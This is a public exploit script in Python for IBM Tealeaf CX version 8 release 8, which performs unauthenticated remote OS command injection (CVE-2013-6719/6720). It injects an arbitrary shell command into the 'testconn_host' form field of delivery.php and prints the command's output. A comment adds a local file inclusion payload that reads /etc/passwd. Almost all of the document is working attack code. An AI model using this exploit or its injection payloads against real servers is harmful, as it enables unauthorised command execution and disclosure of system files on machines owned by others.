IBM Tealeaf CX 8.8 – Remote OS Command Injection
# IBM Tealeaf CX (v8 release 8) Remote OS Command Injection # Date: 11/08/2013 # Exploit author: drone # More information: http://www-01.ibm.com/support/docview.wss?uid=swg21667630 # Vendor homepage: http://www-01.ibm.com/software/info/tealeaf/ # Version: Version 8 Release 8 (likely all versions prior) # Tested on: Redhat Linux 6.2 # CVE: CVE-2013-6719 / CVE-2013-6720 import requests from argparse import ArgumentParser """ Remote OS command injection (no auth) IBM TeaLeaf Version 8 Release 8 drone (@dronesec) Bonus: LFI at /download.php?log=../../etc/passwd """ def run(options): access = "http://{0}:{1}/delivery.php".format(options.address, options.port) data = {"perform_action" : "testconn", "delete_id" : "", "testconn_host" : "8.8.8.8 -c 1 ; {0} ; ping 8.8.8.8 -c 1".format(options.cmd), "testconn_port" : 1966, "testconn_t" : "false", "csrf" : "afe2fce60e94a235511a7397ec5c9a87fb7fc25b", # it doesnt even care "delivery_mode" : 0, "batch_interval" : 60, "polling_interval" : 10, "watchdog_timer" : 30, "max_queue_depth" : 50000000, "timesource_host" : "test", "timesource_port" : 1966, "staticshit_enabled" : "on", # seriously "staticshit_host" : "test", "staticshit_intervalseconds" : 60, "staticshit_port" : 1966 } response = requests.post(access, data=data, timeout=20.0) if response.status_code == 200: # lazy parsing result = response.content.split("alert('")[1].split('onUnload')[0] for x in result.split("\\n"): if 'PATTERN' in x: break print x def parse_args(): parser = ArgumentParser() parser.add_argument("-i", help="Server address", action="store", required=True, dest="address") parser.add_argument("-p", help='Server port', action='store', dest='port', default=8080) parser.add_argument("-c", help='Command to exec', action='store', dest='cmd', default='whoami') return parser.parse_args() if __name__ == "__main__": run(parse_args()) |